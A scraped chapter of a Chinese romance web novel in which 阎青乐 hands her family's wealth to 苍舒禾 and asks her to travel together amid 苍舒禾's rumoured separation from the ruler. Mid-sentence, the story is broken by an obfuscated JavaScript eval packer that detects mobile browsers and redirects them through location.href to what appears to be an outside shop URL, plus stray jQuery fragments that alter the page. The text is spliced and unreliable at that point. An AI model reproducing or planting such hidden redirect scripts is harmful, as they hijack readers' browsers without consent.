浣月抿了抿唇,小心地退出慈萤殿。
若是平时,她本该立即离开。
女侍犹豫地望向里边无比安静的宫殿,面上是少见的踟蹰。
前段时间虽能感觉到元后和元主闹别扭,但也不至于像最近,简直差到明眼都能看出来。
按理以他们二人身份,整个峄琼宫多多少少都会心惊胆战些,偏生元后对待她们还是如往常,与元主闹矛盾的情绪一丝一毫都没有泻出。
冰凝般的峄琼宫竟和缓不少。
可这事,就连奚农安,那位救下她,与她有莫大恩情的恩人都被拜托她能为元主多说几句好话。
浣月只觉不可思议,她一个小小的女侍,元主哪里需要她来说好话?更何况,她连元后元主因为什么闹矛盾都不清楚,怎么说好话?
拜托她,还不如拜托青乐小姐。
眼前突地落下一道阴影,她不禁抬头,正正与来人四目相对。
正是收拾妥当准备出宫的苍舒禾。
她周身与平常浣月看到的没有区别,她后退一步,匆匆行礼:“夫人。”
瞧她这么久还在殿门口,苍舒禾低眼:“可是有什么落在殿里?”
浣月下意识摇头。
苍舒禾稍稍看了看她,这么些时日,浣月在她身边,很得分寸。
她偶尔也能见到这姑娘独自出神发呆的模样。
思及此,她问道:“莫不是身体不舒服?”
凡人不比修仙者,总归脆弱一些,她转头正欲吩咐侍从带个大夫来瞧瞧。
浣月急忙道:“没有,夫人,我没事。”
当苍舒禾视线再次放至她身上时,浣月心间犹豫。
她不知道该不该说,那是恩人拜托她的事,她怎么着也是该说两句的,又不知该说些什么。
苍舒禾看她有话要讲,也没立即离开。
“您要出宫?”浣月捏紧交握的手指,最后就只憋出了这么一句。
“嗯,我去一趟阎府。”
*
阎府虽还叫阎府,牌匾上也挂着“阎府”二字,却已经没有过往繁荣。
衔苦山事后,阎家父子被以袭击元后乌月蕖为由,尽数处死。
偌大的阎府,就只剩阎青乐一人。
按理,阎家出这样的事,被查封在所难免,但阎府其他人都没了,阎府就是阎青乐一个人的。
于苍舒禾看来,查封完全没必要,既是阎青乐的东西,那还查封做甚?
如果她愿意,想成为下一任家主断然也是可以的,可问题恰恰就是出现在这里。
阎青乐需要由财堆出的势,阎府不复荣耀,权近乎失陷,再怎么说,她是个实打实的凡人,也是个衰落,却还有底蕴的华族,东西也都还在这里,少不了引得他人觊觎。
“如何?”阎青乐倒茶,故作不虞,“你都收下了吧?”
苍舒禾看着坐在对面的人,夸张点头:“收了收了,一件件都清点好,做成册子了。”
闻言阎青乐面上这才和缓,放下茶壶:“早收下不就好了,我又不需要很多。”
她一只手搭在桌上:“这事是阎府的错,就当是赔礼。”
说是赔礼,她却把阎府绝大部分东西,都送了过来。
苍舒禾轻轻摩挲杯身,敛下眼中考量。
阎青乐解释道:“反正我又不留在斛桑城,过几天就要走,只要有处宅子能让我回来有地方住就成。”
“我不在,谁知道这里头的东西要怎么被眼热。”她很清楚里面的弯弯绕绕,尽管有乌月蕖在,定然不会让别人碰她的东西,但阎青乐左想想,右想想,还不如直接把东西给乌月蕖。
“过几天?”苍舒禾拿起茶杯。
前几日阎青乐去峄琼宫找她,说明日就要离开斛桑城,因而她今天才特地过来。
进来的时候,阎府冷冷清清,大多数仆从都已经被阎青乐遣散,只留下几个信得过的日常打理府邸。
怎么看,她都已经做好游历的准备。
“咳。”阎青乐轻轻咳了一声,眼神飘忽,“听说,你要与元主……”
她压低声量,“和离?”
茶杯停在唇边,苍舒禾掀起眼,好笑道:“你就是因为这事,延后计划?”
她轻轻地吹了吹杯中冒出的热气,不急不缓:“还是来当他说客?”
不等阎青乐开口,对上她的眼睛,道:“不是什么大事,不该影响到你。”
面前的人好不容易脱离原来的阎府,有了自己想做的事,苍舒禾并不想她因为这种小事改变计划。
阎青乐不知不觉伸直腰,她对这件事知道的也不是很多,现在看来,和离一事,是乌月蕖提的。
她没问原因,半明半暗地观察起来,发现苍舒禾竟然没有开玩笑,她真的认为和离只是一件小事。
阎青乐心间忽地复杂。
这么些年,她一直跟在奚淮昭身边是事实,为了让她爹那个东西,看到她真的有在好好争取元后这个位置,很多人都觉得她对他情根深种。
在年岁渐长之前,她能在阎家好过一些,很大的原因,是多亏了奚淮昭身边没有女人,人在他眼里就只是人。
至少她是唯一一个能跟在他身边的女孩。
这才让阎府觉着,未来的元后之位迟早会落在阎家手里。
在他们看来,有没有感情并不要紧,当奚淮昭需要娶妻时,定然会优先考虑熟悉的人。
每次猜对他们心中所想,阎青乐就止不住想笑。
没有人比她更清楚,她为什么能跟在奚淮昭身边。
就像所有人在这场所谓的“青梅竹马”里,都忽略了另一个人的态度。
奚淮昭对她的态度,从一开始就没有改变。
是她需要跟在奚淮昭身边,以得到因为未入道而失去的安稳,是她在日复一日被阎家三父子的否定里,迫切地渴求自己存在的价值。
她接近奚淮昭,从来无关乎于情。
奚淮昭也明白,她是为利。
她拿准了他不会随意对别人动手,才敢在合适的距离下,不远不近地跟着。
她在阎府的处境,于那些华族权贵而言不是秘密,纵使阎府对外看着对她多好,实际一个个都心知肚明。
大多数人都会在她面前维持体面这层薄薄、易碎的冰,不会将话挑开来讲,可这层冰对当初的阎青乐而言,是一条摇摇欲坠的遮羞布。
她羞耻于从别人口中得知,她没有得到家人的关切。
大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324698|193178||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多数人都拥有的东西,一出生就轻而易举得到的东西,她没有,她在中间格格不入。
不安的眼睛飞快地扫过每一个人,在一团团数不清,陌生又不属于她的暖烘烘里,渴望能嗅到同类的气息,哪怕是有一点点相近,她也会不停比较,以寻求──有人和我一样。
母亲为生下她玉碎,她还未在这世间发出第一声啼哭,就已经被宣判重罪。
不被家人关切是正常的,被不断地否定,不停地否定,是正常的,那么努力依旧无法入道,是冥冥之中,重罪之下的责罚。
一个家因为她变得残缺。
被家人讨厌,也是理所应当。
她什么都没有做到,什么也没能完成。
她那么渺小,那么虚无缥缈,又轻飘飘,是一丝溅起的细微泥土就能轻易埋没的柳絮。
那么,母亲倾尽全力地生下她,是为了什么?
她迫切不停地寻找每一个能稍微与自己重合的人,却无论怎么比较,怎么找不同,最后仍发现,她是那个最特殊的。
没有人像她一样。
就像一束看不见的强光直直投在她身,在数以千计的人群中,如此与众不同,如此显眼。
她是个异类。
她尴尬得不知如何是好,只能低下头,攥紧能压住整个人潮湿厚重的布,数不清的水汽凝在指尖,湿答答的水珠顺着指缝,滑落手肘。
奚淮昭也是一个异类。
一个与她不一样的异类。
她曾苦其得不到的东西,他全都拥有。
前元主元后在他身上付出了超乎的精力,溢出杯盏的关切,数不胜数的锋利刀剑与银针哗啦哗啦地随水流溢。
杯盏之外,亦有方寸,又哐当哐当地漾回,砸击杯盏,叮叮当当,竟得到诡异的平衡。
在此平衡之下,奚淮昭发现她虽然总会不远不近地跟在身后,然完全可以忽略,所以只不过是没再直接开口赶她走而已。
也仅此而已。
这在别人眼里,就成了特殊。
特殊?
不,奚淮昭眼里没有特殊。
在奚淮昭成为元主之后,她能继续跟在他身边,继续佯装,完全得益于容序。
那些日子里,她反倒是和容序成为朋友,至于奚淮昭,阎青乐都不确定,他们是否算得上朋友?
这个问题她以前无暇思索,现在更没有硬想要一个答案。
她看着面前懒洋洋品茶的苍舒禾。
无趣的奚淮昭带来了有趣的乌月蕖。
和离是乌月蕖提及的,按理,奚淮昭不该不同意。
没关系。
“我打算过段时间再走。”她状作若无其事地说道。
注意到苍舒禾视线的落下,她再次轻咳一声:“咳,我的意思是……”
阎青乐不自然地偏过头,耳朵根有些发红:“你……要不要和我一起走?”
在听说乌月蕖可能会和离后,她认真地想过,若是与乌月蕖一齐游历……
苍舒禾眼中惊讶,没想到如此别扭的人有朝一日居然也会这么直白地表达心中所想,实在是一大进步。
不过……
指腹捏住杯身慢悠悠地旋转,她扬起笑:“我有约了。”